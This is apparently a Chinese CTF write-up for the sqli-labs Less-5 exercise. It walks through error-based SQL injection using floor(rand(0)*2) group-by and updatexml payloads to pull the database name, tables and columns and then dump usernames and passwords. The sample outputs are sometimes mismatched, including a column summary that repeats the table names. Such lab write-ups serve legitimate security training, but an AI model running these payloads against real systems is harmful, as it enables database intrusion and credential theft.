【CTF-WEB-SQL】SQL注入基本流程-错误注入(sql-labs的Less5)(updatexml)

针对 Less-5 的实战利用

步骤一:获取数据库名
方法一:
sql 复制代码
http://223.112.39.132:46157/Less-5/?id=1' 
union select 1, count(*), 
concat(
  (select database()), 
  '---', 
  floor(rand(0)*2)
) as a 
from information_schema.tables 
group by a --+

结果示例:

text 复制代码
Duplicate entry 'security---1' for key 'group_key'

✅ 数据库名 = security

方法二:
sql 复制代码
http://223.112.39.132:46157/Less-5/?id=1' 
and updatexml(1, concat(0x7e, (select database()), 0x7e), 1) --+

结果示例:

text 复制代码
XPATH syntax error: '~security~'

✅ 数据库名 = security

步骤二:获取所有表名
sql 复制代码
http://223.112.39.132:46157/Less-5/?id=1' 
and updatexml(1, concat(0x7e, (
  select group_concat(table_name) 
  from information_schema.tables 
  where table_schema=database()
), 0x7e), 1) --+

结果示例:

text 复制代码
Duplicate entry 'emails,referers,uagents,users---0' for key 'group_key'

✅ 表名 = emails, referers, uagents, users


步骤三:获取字段名(以users表为例)
sql 复制代码
http://223.112.39.132:46157/Less-5/?id=1' 
and updatexml(1, concat(0x7e, (
select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
), 0x7e), 1) --+

结果示例:

text 复制代码
XPATH syntax error: '~id,username,password~'

✅ 字段 = emails,referers,uagents,users


步骤四:拖取敏感数据
sql 复制代码
http://223.112.39.132:46157/Less-5/?id=1' 
and updatexml(1, concat(0x7e, (
  select group_concat(username,':',password) 
   from users
), 0x7e), 1) --+

结果示例:

sql 复制代码
Duplicate entry 'Dumb:Dumb,Angelina:I-kill-you,...---0' for key 'group_key'

✅ 用户名密码 = Dumb:Dumb, Angelina:I-kill-you, ...


为什么这个方法在Less-5有效?

  1. 漏洞特性:

    • 页面不显示查询结果,但显示SQL错误信息
    • rand(0)的确定性序列是触发报错的关键
  2. 优势对比:

    方法 请求次数 速度 复杂度
    布尔盲注 数百次 慢 高
    时间盲注 数百次 极慢 高
    报错注入 1次 即时 低
  3. 防御绕过 :

    即使应用不返回查询结果,只要泄露错误信息,此方法就有效


报错注入原理分析(针对您的Payload)

sql 复制代码
?id=1' 
union select 1, count(*), 
concat(
  (select database()),  -- 获取数据库名
  '---', 
  floor(rand(0)*2)      -- 生成随机数0或1
) as a 
from information_schema.tables 
group by a --+

关键技术点floor

  1. floor(rand(0)*2)

    • 固定种子0的rand()会生成可预测序列:0,1,1,0,1,1...
    • floor(rand(0)*2) 结果序列:0,1,1,0,1,1...
  2. group by + count(*)

    • 当使用group by对虚拟列a分组时:
      • 首次遇到新值 → 建立新分组
      • 再次遇到相同值 → 增加计数
    • 关键漏洞 :MySQL 在建立分组时先计算rand()值再判断是否存在分组
  3. 触发报错的流程:

    行号 rand()值 操作 结果
    1 0 创建分组 dbname---0 成功
    2 1 创建分组 dbname---1 成功
    3 1 增加分组 dbname---1计数 成功
    4 0 尝试增加分组 dbname---0计数 ⚠️ 但此时分组未创建(rand()序列特性)→ 报错
  4. 报错信息泄露数据 :

    错误消息会包含导致冲突的虚拟列值:

    sql 复制代码
    Duplicate entry 'security---0' for key 'group_key'

    其中 security 就是数据库名!


相关推荐
print_Hyon1 天前
【CTF-CRYPTO-教学-XOR】第二节:只有密文没有任何线索,暴力破解
ctf
kingx33 天前
Bugku 真题 Vigenère XOR(UMDCTF 2022)WriteUp:汉明距离 + 逐列频率破重复密钥 XOR
ctf·bugku·汉明距离·维吉尼亚
lone wolf0073 天前
bugku web题文件包含2
ctf
hengdonghui6 天前
Writeup 4 Bugku - USB 流量截取
wireshark·ctf·流量分析·misc(杂项)
hengdonghui6 天前
Writeup 4 GFCTF 2021 Baby_Web
web·ctf·变量覆盖·路径穿越·php 代码审计
kingx36 天前
Bugku 逆向 MatrixHunter:黑盒 oracle + GF(2) 消元出唯一解
网络安全·矩阵·逆向·ctf
kingx38 天前
Bugku 3122 谷歌小恐龙题解:纯离线逆向 Vault 的 AES-GCM 加密资源(附 Python 解密器)
java·逆向·ctf·bugku·aes-gcm
kingx38 天前
Bugku 326 Baby-heap1 题解:glibc 2.23 堆溢出到 FSOP 劫持 _IO_list_all(附完整 exp)
pwn·ctf·glibc·堆溢出·fsop
hengdonghui9 天前
Writeup 4 0xGame 2021 · command (WEB)
web·ctf·rce(远程代码执行)
0xBADCODE9 天前
2026 强网杯 Web 题 cwp · 全链路复盘
前端·安全·web安全·网络安全·系统安全·ctf